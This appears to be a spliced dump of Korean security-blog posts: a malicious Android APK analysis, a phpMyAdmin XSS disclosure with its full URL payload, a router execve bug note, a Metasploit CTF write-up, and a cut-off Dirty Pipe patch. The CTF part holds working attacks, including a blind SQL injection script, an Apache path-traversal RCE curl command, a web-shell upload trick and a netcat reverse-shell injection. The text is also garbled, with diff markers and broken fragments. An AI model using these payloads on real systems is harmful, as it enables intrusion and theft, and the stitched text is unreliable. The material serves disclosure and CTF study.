+ + + +블로그를 통해 악성 APK 분석 기법과 위험성, 예방 안을 전달함으로써 피해자 발생률을 줄이는 데 도움이 되고자 글을 남긴다.
+ +다수 회사에서 APK 시그니처와 패턴 분석을 기반으로 악성 앱 검증을 수행한다. Virustotal 악성 앱 검증 사이트 등을 이용하여 각 회사의 악성 앱 판별 결과를 확인할 수 있다.
+ +APK 파일은 압축파일 형태로 Java 코드가 컴파일된 파일인 DEX, C, C++ 코드가 컴파일된 so 라이브러리, 리소스, APK 서명 관련 파일로 구성된다. 컴파일된 파일을 이용자가 알아보기 쉬운 코드로 변환해주는 디컴파일 도구들(Androguard, Apktool, jadx-gui, JEB, IDA 등)을 이용하여 로직 분석을 진행할 수 있다.
+ +공격자는 네트워크 프로토콜, 배포한 APK를 통해 악성 행위를 한다. Packet Capture, Proxy 도구를 이용해 공격자와 피해 자간 송수신 내용을 확인할 수 있고 Hooking, Debugging, Smali Code Inejction을 통해 실시간 앱 동작 확인, 변조가 가능하다.
+ +Packet Capture
+ +Packet Capture Tool인 tcpdump를 이용해 스마트폰에서 이용하는 OSI 2계층부터 7계층까지의 프로토콜 패킷을 확인할 수 있다. tcpdump는 libpcap 라이브러리를 통해 통신 담당 드라이버(Network Interface Controller Driver)에 Packet이 전달되기 전 복사하여 이용자에게 나타내므로 기기간 전 통신 데이터 확인이 가능하다.
+ +Proxy Tool인 Fiddler, Burp suite를 이용해 스마트폰에서 이용되는 HTTP/HTTPS/WebSocket 프로토콜에 대한 패킷 확인이 가능하다. 윈도우 환경에서는 Windows 인터넷 API를 이용해 HTTP 프로토콜 통신내용을 캡처한다. 안드로이드에서 윈도우 환경에서 실행된 Fiddler, Burpsuite Proxy Server로 접속하도록 설정하여 Fiddler, Burpsuite HTTP Protocol Packet을 확인할 수 있다. Fiddler는 HTTP/HTTPS/WEBSocket 프로토콜만을 지원하기 때문에 TCP 통신에 대한 패킷 확인이 불가하나 Burp suite는 NoPE 플러그인 설치를 통해 TCP 통신 내용들도 확인할 수 있다.
+Hooking
+ +Hooking Tool인 Frida를 통해 동적으로 송수신되는 값을 확인한다. frida는 동적 라이브러리를 프로세스에 삽입한다. 후킹 대상 Application Process에 삽입된 Library는 Process 메모리 전부 접근 및 변조 가능하다
+Debugging
+ +Debugging Tool인 JEB, Netbeans, IDA를 통해 동적으로 전달되는 변수 값을 확인한다. 최고 권한(root)으로 디버거를 실행할 경우, ptrace 시스템콜을 이용해 so 라이브러리 디버깅이 가능하며, JPDA(Java Platform Debugger Architecture)를 통해 DVM(Dalvik Virtual Machine)에서 실행 가능한 파일(dex) 디버깅이 가능하다.
+Smali Code Injection
+ +Smali Code Injection을 통해 동적으로 변수 값을 확인한다. 컴파일 중 자바코드가 바이트코드(Smali)로 변환된다. 디컴파일 도구를 통해 Smali 코드로 복원한 후, 의도한 로직의 바이트코드 삽입한 후 리패키징하여 실행 로직 변조가 가능하다.
+공격자가 전송한 LiveTalk.apk는 74개 중 8개의 회사가 악성 앱이라는 결과를 나타냈다. 이용자의 동의 없이 중요 정보를 추출하는 악성 앱으로 판단하고 있으나, 공격자가 앱 실행 도중 피해자 스마트폰에 전달되는 APK 파일은 전 회사가 정상 앱으로 판단하고 있다.
+ + + + + +공격자는 배포한 APK와 실행 도중 전달한 APK를 이용해 공격 대상의 정보를 추출하고 이용자의 인가 없이 스마트폰을 조종한다.
+ +정보 추출 코드 목록
+ +가. 전화번호 목록
+ +연락처 정보 접근을 위해 설정된 권한 및 코드
+ + <uses-permission android:name="android.permission.READ_CONTACTS"/>
+
나. 위치
+ +위치 정보 접근을 위해 설정된 권한 및 코드
+ + <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+ <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+
다. 문자 내용
+ +문자 내용 접근을 위해 설정된 권한 및 코드
+ + <uses-permission android:name="android.permission.READ_SMS"/>
+
라. 통화 목록
+ +통화 기록 접근을 위해 설정된 권한 및 코드
+ + <uses-permission android:name="android.permission.READ_CALL_LOG"/>
+
마. 온라인 계정 ID
+ +안드로이드 기기에 등록된 계정 ID, 이용 서비스 정보 접근을 위해 설정된 권한 및 코드
+ + <uses-permission android:name="android.permission.GET_ACCOUNTS"/>
+
바. Wifi MAC Address, SSID
+ +Wifi Mac Address, Wifi 명 확인을 위해 설정된 권한 및 코드
+ + <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
+
사. Device 정보 전달
+ +안드로이드 기기 정보 접근을 위한 권한 및 코드
+ + <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
아. 파일
+ +기기 내 파일 내용 읽기를 위한 권한 및 코드
+ + <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+
악성 행위 코드 목록
+ +가. 피해자 핸드폰 시스템 명령어 실행
+ +공격자가 전달한 명령어 실행 후 결과 반환 코드
+ + + +나. 공격자가 전달한 번호로 전화
+ +공격자가 전달한 전화번호로 발신을 위한 권한 및 코드
+ + <uses-permission android:name="android.permission.CALL_PHONE"/>
+
다. 녹음
+ +녹음 후 저장을 위한 권한 및 코드
+ + <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+
라. 사진 촬영
+ +카메라 사진 촬영 및 저장을 위한 권한 및 코드
+ + <uses-permission android:name="android.permission.CAMERA"/>
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+ <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+
마. 파일 삭제, 암호화 후 제거
+ +파일 삭제, 암호화를 위한 권한 및 코드
+ + <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+
파일 제거
+ + +파일 암호화 (key “scream”+”공격자가 전송한 문자열”)
+ + +바. 지속적인 앱 실행
+ +지속적인 악성 앱 실행을 위한 재부팅 후 자동 실행 및 앱 유휴 상태에서도 지속적인 실행을 위한 권한 및 코드
+ + <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
+ <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+ <uses-permission android:name="android.permission.WAKE_LOCK"/>
+
사. 배경화면 변경
+ +공격자가 전송한 파일을 복호화한 후 배경화면으로 설정에 필요한 권한 및 코드
+ + <uses-permission android:name="android.permission.SET_WALLPAPER"/>
+
아. 소켓 통신
+ +소켓 통신을 이용한 명령어 실행, 개인 정보 추출을 위한 내용 송수신 코드
+ + + + + + + + +자. DexFile 로드
+ +파일 다운로드 후 DexFile 로드 및 실행 코드
+ + <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+
공격자는 C&C서버로부터 DEX 파일 전송 후 실행하여 개인정보를 탈취하는 것을 확인할 수 있었다.
+ +공격지 정보
+ +가. Debugging
+ +JEB Debugging 도구를 통해 확인한 공격자의 Socket통신 Server, Port
+송수신 데이터
+ +가. Smali Code Injection
+ +Smali Code Injection을 통해 로그로 출력된 송수신 Data
+Smali Code Injection을 통해 파일 제거 로직 차단 후 확보한 APK 파일 목록
+ + +나. tcpdump
+ +tcpdump를 이용해 확인한 피해자 정보 전송 Packet Data
+분석한 악성 앱은 단순히 몸캠피싱을 위한 앱이 아니라 피해자의 스마트폰에 명령어 실행, 존재하는 파일, 정보 탈취, 랜섬웨어도 가능하다. 앱이 설치되고 나면, 스마트폰은 공격자의 손에 들어가는 것과 다름없다. 사전 예방을 통해 안전하게 개인정보를 보호하자.
+ +스마트폰에 백신을 설치하자. 백신은 악성 앱 제거, 실행을 차단해준다.
+ +출처가 불분명한 앱은 다운로드 하지 말자. 구글플레이에 등록된 앱들은 보안 검증을 받은 앱들이다.
+ +음란 영상 통화를 하지 말자. 매력적인 이성은 우리에게 처음부터 신체를 노출하지 않는다.
+ +김지현, 홍순빈, 오진영, “[The W]2030 노리는 보이스피싱… ‘알바’, ‘몸캠’으로 낚는다”, <머니투데이>, 2021.05.02, [https://news.mt.co.kr/mtview.php?no=2021050209122253595](https://news.mt.co.kr/mtview.php?no=2021050209122253595)*머니투데이>
+ +신정은, “집콕족 노린 ‘몸캠 피싱’ 주의보…피해액만 22억”,
최선을, “‘몸캠피싱’ 협박 당한 중학생, 아파트 옥상서 떨어져 숨져”, <서울신문>, 2021.05.31, [https://www.seoul.co.kr/news/newsView.php?id=20210531500185](https://www.seoul.co.kr/news/newsView.php?id=20210531500185)서울신문>
+ +phpMyAdmin은 MySQL/MariaDB 데이터베이스를 관리하기 위한 웹 인터페이스 서비스다. PHP 언어로 구현되어 있으며 웹서버에 설치하여 사용한다. 사용자는 웹 브라우저를 통해 phpMyAdmin 웹페이지에 로그인한 후, 데이터베이스 열람 및 수정이 가능하다.
+ +데이터베이스의 값을 표시 또는 삽입할 때 데이터의 변환 방식을 지정하는 기능이다. +변환 기능을 이용하는 예시는 다음과 같다.
+transformation_wrapper.php는 CSRF 토큰을 필요로 하지 않는다. CSRF 토큰 검증을 하지 않으므로, 공격자가 GET 요청 방식으로 파라미터 전달이 가능하다. +$request_params 변수에 선언된 ‘cn’, ‘ct’, ‘sql_query’, ‘transform_key’, ‘where_clause’를 파라미터로 받아, 해당 변수명으로 사용한다.
+ + + +where_clause 파라미터는 SELECT 쿼리 구문의 WHERE 절에 삽입해 실행된다. +쿼리 실행 결과를 출력하기 전, Core::downloadHeader 함수를 실행한다. Core::downloadHeader 함수는 /libraries/classes/Core.php에 선언되어 있다. +두 개의 인자를 받아 파일 다운로드와 관련된 HTTP 응답 헤더를 지정한다. 첫 번째 인자는 파일 이름이고, 두 번째 인자는 Content-Type을 지정한다.
+ + + +공격자가 ct 파라미터를 조작하면, Core::downloadHeader 함수의 두 번째 인자가 조작되어 Content-Type 조작이 가능하다. +Core::downloadHeader 함수가 종료되고 쿼리 실행 결과를 출력한다.
+ + + +Content-Type을 html으로 지정하는 경우, PHP의 htmlspecialchars 함수를 통해 XSS 문자열이 필터링된다. 공격자는 XSS 필터링을 우회하며 웹브라우저 화면에 출력하기 위해 Content-Type을 text/xml 으로 지정한다. +Content-Type이 text/xml이므로 쿼리 실행으로 출력 되는 내용을 XML XSS으로 지정하면 XSS 취약점이 발생한다. +출력 되는 내용을 조작하기 위해 where_clause 파라미터에 UNION SELECT 구문을 넣는다.
+ +1 UNION SELECT '<?xml version="1.0"?><html><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script></html>',2,3,0 ORDER BY 4
+
위 SQL 구문을 삽입하는 전체 페이로드는 아래와 같다.
+ +~/index.php?target=transformation_wrapper.php&db=information_schema&table=CHARACTER_SETS&where_clause=1%20UNION%20SELECT%20%27%3C?xml%20version=%221.0%22?%3E%3Chtml%3E%3Cscript%20xmlns=%22http://www.w3.org/1999/xhtml%22%3Ealert(1)%3C/script%3E%3C/html%3E%27,2,3,0%20ORDER%20BY%204&cn=&ct=text/xml&transform_key=CHARACTER_SET_NAME
+
phpMyAdmin에 해당 취약점을 제보하고 CVE-2020-26934으로 패치되었다.
+ +https://www.phpmyadmin.net/security/PMASA-2020-5/
+ +Thanks to Giwan Go, Yelang Lee of STEALIEN for reporting this vulnerability.
+ +공격자가 GET 요청 방식으로 파라미터 전달을 하지 못하도록 where_clause 파라미터의 서명값을 검증한다.
+ + + +execve()
(Post Authentication)Low
Low
본 취약점은…
+/nova/bin/mepty
컴포넌트에서 발생합니다.sub_804B2BC()
함수에서 취약점이 발생합니다.execve()
를 통해 프로세스를 만들 수 있습니다.int sub_804B2BC()
+{
+ ...
+
+ v52 = nv::message::get<nv::u32_id>(a2, 8);
+ v12 = (const string *)nv::message::get<nv::string_id>(a2, 9);
+ string::string(&v60, v12); // [1]
+
+ ...
+
+ if ( v59 )
+ setenv("TERM", (const char *)(v59 + 4), 1);
+ v30 = s // [2]
+
+ ...
+
+ switch (...)
+ {
+ ...
+ case 4:
+ snprintf(s, 0x50u, "%s", (const char *)(v60 + 4));
+ execl("/nova/bin/telser", "telser", s, 0);
+ *(_DWORD *)s = "/nova/bin/telnet";
+ argv = "/nova/bin/telnet" + 10;
+ v31 = "-4";
+ if ( v15 )
+ v31 = "-6";
+ v71 = v31;
+ v30 = (char *)&v72;
+ break;
+ default:
+ break; // [3]
+ ...
+ }
+
+ ...
+
+ *(_DWORD *)v30 = v60 + 4; // [4]
+ *((_DWORD *)v30 + 1) = 0;
+ string::string((string *)&v56, *(const char **)s); // [5]
+ nv::findFile((nv *)&v55, (const string *)&v56, 0); // [6]
+ execv((const char *)(v55 + 4), &argv); // [7]
+
+ ...
+}
+
v60
에 9번 인자의 문자열을 할당합니다. (익스플로잇 코드에서 s9
)v30
에 s
를 대입합니다.default
문에서, 할당 된 변수들을 초기화 하거나, 함수를 끝내는 등 적절한 조치를 취하지 않습니다.*v30
에 v60+4
(문자열의 실제 주소)를 대입합니다.v56
에 s
를 할당합니다. 여기서 s
에는 4번 단계에서 넣은 값(s9
)이 들어가 있습니다.execve()
를 통해 원하는 프로세스를 생성할 수 있습니다.PoSTLTimes(PostalTimes + STLCTF)이라는 팀명으로 진행했다.
+ +++ +Solver is Jang Jaehoon from STLCTF
+
20000/tcp 포트로 접근 시, 바이너리를 다운 받을 수 있다. 이 바이너리는 타겟 서버의 20001/tcp와 통신하며 타겟 바이너리의 문제를 해결 시 플래그를 받을 수 있다. strace
를 사용하여 통신하는 규칙을 분석 후, 문제를 해결 할 수 있었다.
바이너리는 서버로부터 x
, y
좌표 값을 받으며 사용자가 이를 클릭 할 시에 서버로 클릭한 좌표 값을 전송한다. 이를 전부 완수하게 될 경우 플래그를 획득할 수 있다.
json
형태로 통신한다. 단순히 이 값들을 프로토콜에 맞게 전송 해 주면 된다.
Binary 형태로 통신한다. 해당 binary 값들을 이용하여 문제를 해결 할 수 있다.
+ +++ +Solver is Dohyun Kim (@d0now) from STLCTF
+
443/tcp 포트로 접근 시, Under Construction!
이라는 문구를 발견 할 수 있다. gobuster
를 이용한 directory scanning으로 /.git/HEAD
폴더를 발견 할 수 있었으며, GitHacker
프로젝트를 이용하여 레포지토리 정보를 받아 올 수 있다.
$ git cat-file -p 1e4988fd28fdfb4116f7203451e6cf1b6c51ea43
+username=root
+password=password123
+flag_location=3e6f0e21-7faa-429f-8a1d-3f715a520da4.png
+
해당 경로로 접근 시 플래그를 획득할 수 있었다.
+ +++ +Solver is Dohyun Kim (@d0now) from STLCTF
+
30033/tcp 포트로 접근 시 하나의 ELF 프로그램을 획득 할 수 있다. 이 프로그램은 30034/tcp에서 동작하고 있으며, 프로그램을 분석하여 조건을 만족해 플래그를 획득할 수 있었다.
+ +프로그램은 간단한 stack 기반 계산기였으며, 여타 pwnable의 vm 문제와 같이 접근 시 문제를 쉽게 해결할 수 있다.
+ +#!/usr/bin/env python3
+
+from pwn import *
+
+OP_LSH = 0xc0
+OP_RSH = 0xc1
+OP_MUL = 0xd0
+OP_DIV = 0xe0
+OP_EXT = 0xff
+
+p = remote("localhost", 31337)
+
+payload = p16(0x0006)
+payload += p16(0x0001)
+payload += p8(0x03)
+payload += p8(0x17)
+payload += p8(0x6d)
+payload += p8(OP_MUL) # 0x6d * 0x17 = 2507
+payload += p8(OP_DIV) # 2507 / 3 = 835
+payload += p8(0x01)
+payload += p8(OP_MUL)
+payload += p8(0x01)
+payload += p8(OP_MUL)
+payload += p8(0x01)
+payload += p8(OP_MUL)
+payload += p8(OP_EXT)
+payload += p16(0xadde)
+
+p.send(payload)
+p.readuntil(b"\n")
+data = p.recvall()
+with open('flag.png', 'wb') as f:
+ f.write(data)
+
++ +Solver is Seokchan Yoon (@ch4n3) from STLCTF
+
33337/tcp 포트로 접근 시 웹 서비스가 존재한다. 특정한 패킷을 전송하게 되면 PHPSESSID
를 획득할 수 있고, 이를 이용하여 /private.php
에 접근하여 플래그를 획득할 수 있다.
GET /save.php?first=1 HTTP/1.1
+Host: threeofhearts.ctf.net
+Content-Encoding: chunked
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 160
+Transfer-Encoding: chunked
+
+5f
+0
+
+GET /save.php?second=1 HTTP/1.1
+Host: threeofhearts.ctf.net
+Content-Length: 40
+Cookie:
+0
+
+GET /save.php?second=222 HTTP/1.1
+X-Access: localhost
+
++ +Solver is Dohyun Kim (@d0now) from STLCTF
+
15010/tcp로 접근 시 웹 서비스가 존재한다. 회원가입 후 파일을 업로드/다운로드 할 수 있다. 다운로드 한 파일은 /users/[username]/files/[filename]
에 저장 되는데, 아무나 접근이 가능하여 username
과 filename
을 스캐닝하여 플래그를 획득할 수 있었다.
$ gobuster dir -u http://localhost:31337/users/employee/files/ -c "$RACK_SESSION" -a "$USER_AGENT" -t 32 -w /usr/share/wordlists/dirb/big.txt
+===============================================================
+Gobuster v3.1.0
+by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
+===============================================================
+[+] Url: http://localhost:31337/users/employee/files/
+[+] Method: GET
+[+] Threads: 32
+[+] Wordlist: /usr/share/wordlists/dirb/big.txt
+[+] Negative Status codes: 404
+[+] Cookies: rack.session=BAh7CUkiD3Nlc3Npb25faWQGOgZFVG86HVJhY2s6OlNlc3Npb246OlNlc3Npb25JZAY6D0BwdWJsaWNfaWRJIkUxYWY3ZDQyN2FiZTEwZTg4YTMwODNmYTdkNzJmMjBlMzZlY2JhZmMwMGU3MTI3OTM2ZmI3NjEzOWE3NTQxNTI0BjsARkkiCWNzcmYGOwBGSSIxM2RLY0tzdGlYRFBzNVBLVllwWXJQOC9oT0t6bWkxQ1hZVmEvOThWTGU2WT0GOwBGSSINdHJhY2tpbmcGOwBGewZJIhRIVFRQX1VTRVJfQUdFTlQGOwBUSSItYzY5NzEzNGFjMTU4OWNmZjcxZjYwNGE3NTg4ZmIxYTJiMTA5MTI2MwY7AEZJIg11c2VybmFtZQY7AEZJIgphRG1pbgY7AFQ%3D--e346362309c00ead4b73f84b2ae76a89edbed0ae
+[+] User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36
+[+] Timeout: 10s
+===============================================================
+2021/12/04 12:50:26 Starting gobuster in directory enumeration mode
+===============================================================
+/fileadmin (Status: 200) [Size: 169825]
+/reports (Status: 200) [Size: 23]
+/upload (Status: 403) [Size: 13]
+
+===============================================================
+2021/12/04 12:53:43 Finished
+===============================================================
+
fileadmin
파일이 플래그이다.
++ +Solver is Jaehoon Jang from STLCTF
+
10010/tcp에 열려있는 웹 페이지의 취약점을 이용하여 문제를 해결할 수 있다.
+ +다음과 같이 로그인 시 user account와 관련된 오브젝트의 정보를 획득 할 수 있다.
+var current_account = {"id":1,"username":"user","password":"password""role":"user","created_at":"2021-12-06T05:01:12.978Z""updated_at":"2021-12-06T05:01:12.978Z"};
+
회원가입 시 request packet에 role을 추가하여 문제를 해결할 수 있다.
+ +++ +Solver is Dohyun Kim from STLCTF
+
80/tcp에 접근 시 플래그를 획득할 수 있다.
+ +++ +Solver is Dohyun Kim from STLCTF
+
15000/tcp에 접근 시 다음과 같이 특정한 명령을 내릴 수 있는 콘솔을 사용할 수 있다.
+$ nc localhost 31337
+
+Welcome to the Student Database Management System!
+Time is 2021-12-03 18:03:46 +0000.
+
+Pick one of the following options:
+1. Create new student record
+2. Show student records
+3. Update an existing record
+4. Delete student record
+5. Exit
+
+Input:
+
1번 메뉴를 통해 새로운 student record를 만들고 4번메뉴에서 올바른 student name을 넣어주고 student surname에서 발생하는 command injection 취약점을 이용하여 문제를 해결할 수 있다.
+Deleting a student with the following details:
+Student name: a
+Student surname: a$(nc 172.17.8.84 4444 -e /bin/sh)
+Invalid characters entered.
+
+Found student file: a_a$(nc 172.17.8.84 4444 -e /bin/sh).txt
+Deleting...
+Completed.
+
++ +Solver is YouTaek Lim from STLCTF
+
11111/tcp에 접근 시 로그인 할 수 있는 웹페이지가 나온다. 사용자명은 admin, 패스워드에 postgresql injection을 통해 공격하여 플래그를 획득할 수 있다.
+ +username=admin&password='or+1=1--+-
+
and also we wrote blind sql injection script for it.
+ +#!/usr/bin/env python3
+
+import requests
+import argparse
+import string
+
+def login(host, port, username, password):
+
+ url = f"http://{host}:{port}/login"
+ pay = f"username={username}&password={password}"
+
+ ses = requests.Session()
+ req = requests.Request(
+ method='POST',
+ url=url,
+ data=pay,
+ headers={'Content-Type': 'application/x-www-form-urlencoded'}
+ )
+
+ pre = req.prepare()
+ pre.url = url
+ pre.body = pay
+
+ response = ses.send(pre, allow_redirects=False)
+ if response.status_code != 303:
+ return False # login failed.
+ else:
+ return True
+
+def run(host, port):
+
+ db_name_len = 8
+ db_name = 'postgres'
+ table_name = 'registered_users'
+
+ payload_upper = ''''+or+(select+ascii(substr((select+password+from+registered_users+limit+1+offset+0),{},1)))>{}+--'''
+ payload_lower = ''''+or+(select+ascii(substr((select+password+from+registered_users+limit+1+offset+0),{},1)))<{}+--'''
+ payload_equal = ''''+or+(select+ascii(substr((select+password+from+registered_users+limit+1+offset+0),{},1)))={}+--'''
+
+ offset = 0
+ password = ''
+
+ while not login(host, port, 'admin', payload_equal.format(offset+1, 0)):
+
+ offset += 1
+ cmpmin = 0x20
+ cmpmid = 0x50
+ cmpmax = 0x7f
+
+ while True:
+
+ if login(host, port, 'admin', payload_equal.format(offset, cmpmid)):
+ password += chr(cmpmid)
+ break
+
+ elif login(host, port, 'admin', payload_upper.format(offset, cmpmid)):
+ cmpmin = cmpmid + 1
+ cmpmid = (cmpmax + cmpmin) // 2
+
+ elif login(host, port, 'admin', payload_lower.format(offset, cmpmid)):
+ cmpmax = cmpmid - 1
+ cmpmid = (cmpmax + cmpmin) // 2
+
+ else:
+ raise RuntimeError
+
+ print(password)
+
+ return password
+
+if __name__ == "__main__":
+ parser = argparse.ArgumentParser()
+ parser.add_argument("--host", type=str, default="localhost")
+ parser.add_argument("--port", type=int, default=31337)
+ args = parser.parse_args()
+ result = run(args.host, args.port)
+ print("password: " + result, end='')
+
and noticed that admin password is keep changing when revert machine.
+ +++ +Solver is Dohyun Kim (@d0now) from STLCTF
+
15122/tcp로 ssh를 이용하여 접근 할 수 있다. 다만 아무런 credential이 없어서 로그인 하기 위해 몇가지 방법을 시도 해 보았다:
+ +하지만 이 중 아무런 성과를 얻지 못했고, 다음과 같이 상황이 흘러가게 되었다.
+ +정말로 당황스러운 문제가 아닐 수 없다… 이 문제 때문에 2등, 3등을 놓쳤다니, 아직도 화가 나는건 사실이다 :(
+ +++ +Solved by sickcodes from PostalTimes
+
20123/tcp로 ssh를 이용하여 접근할 수 있다. encrypt_flag.py
와 encrypted_flag
파일이 존재한다. encrypt_flag.py
42번줄의 return fernet.encrypt(file)
을 return fernet..decrypt()
로 수정한 후 다음과 같이 문제를 해결할 수 있었다:
$ python encrypt_flag.py encrypted_flag out --debug
+$ file out
+out: PNG image data, 500 x 700, 8-bit/color RGBA, non-interlaced
+
++ +Solved by Jaehon Jang from STLCTF
+
8080/tcp로 http를 이용하여 접근할 수 있다. admin cookie를 변조하여 문제를 해결할 수 있었다.
+ +++ +Solved by timwr from PostalTimes
+
20055/tcp로 http를 이용하여 접근할 수 있다. 파일 업로드를 할 수 있는데, 많은 필터링이 존재한다. 하지만 .htaccess
파일을 업로드하여 .htm
파일이 php 실행이 가능하도록 수정한 후, .htm
웹쉘을 업로드하여 문제를 해결할 수 있었다.
AddType application/x-httpd-php .html .htm
+
++ +Solved by Dohyun Kim (@d0now) from STLCTF
+
12380/tcp에 http로 접근이 가능하다. http 버전이 CVE-2021-41773
에 취약하여 이를 이용하여 RCE를 할 수 있었다.
$ curl --path-as-is -v -X POST 'http://localhost:31337/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh' -d "echo;cat /secret/safe/flag.png" -o /tmp/flag.png
+
++ +Solved by Seokchan Yoon (@ch4n3) from STLCTF
+
20022/tcp에 http로 접근이 가능하다. 다음과 같이 user 쿠키를 변조하여 문제를 해결할 수 있었다:
+class user {
+ function __construct()
+ {
+ return ;
+ }
+}
+
+$obj = new user();
+$obj->username = "admin";
+$obj->admin = false;
+$obj->profile_img = "/var/www/html/../../../../../flag.png";
+
+print(serialize($obj) . "\n\n");
+print(base64_encode(base64_encode(serialize($obj))));
+
$ php serialize.php
+O:4:"user":3:{s:8:"username";s:5:"admin";s:5:"admin";b:0;s:11:"profile_img";s:37:"/var/www/html/../../../../../flag.png";}
+
+VHpvME9pSjFjMlZ5SWpvek9udHpPamc2SW5WelpYSnVZVzFsSWp0ek9qVTZJbUZrYldsdUlqdHpPalU2SW1Ga2JXbHVJanRpT2pBN2N6b3hNVG9pY0hKdlptbHNaVjlwYldjaU8zTTZNemM2SWk5MllYSXZkM2QzTDJoMGJXd3ZMaTR2TGk0dkxpNHZMaTR2TGk0dlpteGhaeTV3Ym1jaU8zMD0=
+
++ +Solved by Dohyun Kim (@d0now) from STLCTF
+
35000/tcp에 http로 접근하게 되면 capture.pcap
파일을 획득할 수 있다. 이 파일은 SMB 프로토콜이 캡쳐된것을 확인할 수 있는데, 몇가지 수상한 행동을 한다. 하지만 이는 모두 연막이고 단순히 padding 필드가 존재하는 패킷의 padding 값을 확인해보면 ascii 범위인것을 알 수 있다. 이를 모두 조합하게 되면 다음과 같은 문자열을 획득할 수 있다:
Here is the URL you are looking for: /U,rhbjaaCeDseVRQzEO.YsgXXtoGKpvUEkZXaoxurhdYnIlpJiGszZwUktVWTS,DabQAhvbEDQaNL_Dhsq.pposWkG-DtQdIVXNEWd.KbtYXvCek_gJuzIrDtMHfITFL/flag.png
+
해당 경로로 접속하게 되면 플래그를 획득할 수 있다.
+ +별개로, SMB 관리자의 계정은 다음과 같다: Administrator:netntlmv2
+ +++ +Solved by Donggyu Kim from STLCTF
+
20011/tcp로 접근하게 되면 네개의 사용자의 페이지를 볼 수 있는데, 이 중 John의 페이지는 private 설정이 되어 있다. 하지만 밑의 url 검색 기능에서 SSRF가 발생하는데, 이를 이용하여 /admin
에 접근하게 되면 John의 페이지 권한 설정을 수정할 수 있다. 그리고 John의 페이지로 접근하여 플래그를 획득할 수 있었다.
2년째 영국 친구들(@PostalTime)과 함께하는 metasploit community ctf 되시겠다. 대부분의 문제들이 상식선에 있었지만, 7 of Hearts 문제는 정말 지옥과도 같았다. 1등을 제외하고, 현재 2등, 3등인 팀들과 격차를 꽤 벌려 놓았었는데 결국 해당 문제를 풀지 못하여 4등을 하게 되었다. 7 of Hearts 문제의 경우 나의 주관적인 생각으론, 다른 문제들과 컨셉이 비슷하지 못했다는 점에서 그렇게 잘 만든 문제는 아닌거 같다고 보여진다. 아마도 운이 좋게 dhcp 클라이언트 포트가 열려 있는것을 발견하지 못했다면 대회가 끝날 때 까지 못 풀지 않았을까 생각한다(아이디어의 원천이 되어준 Jaehoon Jang님께 감사.)
+ +이번 CTF의 경우 사실 공식적으로 STLCTF란 팀명으로 처음 진행 한 ctf이다. STLCTF는 Stealien의 연구원, Stealien의 인턴(혹은 인턴으로 재직했던 사람), Stealien Security Leader 1기, 2기로 구성되어 있다. 뭔가 빡세게 ctf를 하는 팀은 아니고, 이 그룹에 속해 있으면서 함께 ctf 나갈 기회가 있으면 함께 하는 뭐 그런 자유로운 분위기의 커뮤니티 정도로만 생각 해 주면 되겠다. 가입 의사가 있으면, Discord PI#5539
로 연락 주길 바란다. 당연하지만 본인의 소속/이름 정도를 간단하게 밝혀주면 좋다 :)
또한 PostalTime도 소개해볼까 한다. PostalTime도 뭔가 열심히 CTF를 하는 팀이라기 보다는 PoC에서 만난 @tiwmr을 주요로 활동하는 보안 커뮤니티 같은 느낌이다. (사실 물어보지 않아서 모른다.) 작년의 metasploit ctf 이후로 1년만에 같이 진행 했는데, 작년에는 3위를 한 것과 달리 1등수가 떨어져서 tim한테 미안할 따름이다.
+ +++ +총평 : 역시 ctf는 가끔 하는게 정신 건강에 이로운 것 같다.
+
read only 파일을 arbitrary하게 write 할 수 있는 취약점이 disclosure 됐다. 이 취약점을 dirty pipe라고 부르는데 익스플로잇 내용이 이름처럼 dirty cow 취약점과 유사해 보인다.
+ +From: Max Kellermann <max.kellermann@ionos.com>
+To: linux-kernel@vger.kernel.org, viro@zeniv.linux.org.uk,
+ linux-fsdevel@vger.kernel.org
+Cc: Max Kellermann <max.kellermann@ionos.com>, stable@vger.kernel.org
+Subject: [PATCH] lib/iov_iter: initialize "flags" in new pipe_buffer
+Date: Mon, 21 Feb 2022 11:03:13 +0100 [thread overview]
+Message-ID: <20220221100313.1504449-1-max.kellermann@ionos.com> (raw)
+
+The functions copy_page_to_iter_pipe() and push_pipe() can both
+allocate a new pipe_buffer, but the "flags" member initializer is
+missing.
+
+Fixes: 241699cd72a8 ("new iov_iter flavour: pipe-backed")
+To: Alexander Viro <viro@zeniv.linux.org.uk>
+To: linux-fsdevel@vger.kernel.org
+To: linux-kernel@vger.kernel.org
+Cc: stable@vger.kernel.org
+Signed-off-by: Max Kellermann <max.kellermann@ionos.com>
+---
+ lib/iov_iter.c | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/lib/iov_iter.c b/lib/iov_iter.c
+index b0e0acdf96c1..6dd5330f7a99 100644
+--- a/lib/iov_iter.c
++++ b/lib/iov_iter.c
+@@ -414,6 +414,7 @@ static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t by
+ return 0;
+
+ buf->ops = &page_cache_pipe_buf_ops;
++ buf->flags = 0;
+ get_page(page);
+ buf->page = page;
+ buf->offset = offset;
+@@ -577,6 +578,7 @@ static size_t push_pipe(struct iov_iter *i, size_t size,
+ break;
+
+ buf->ops = &default_pipe_buf_ops;
++ buf->flags = 0;
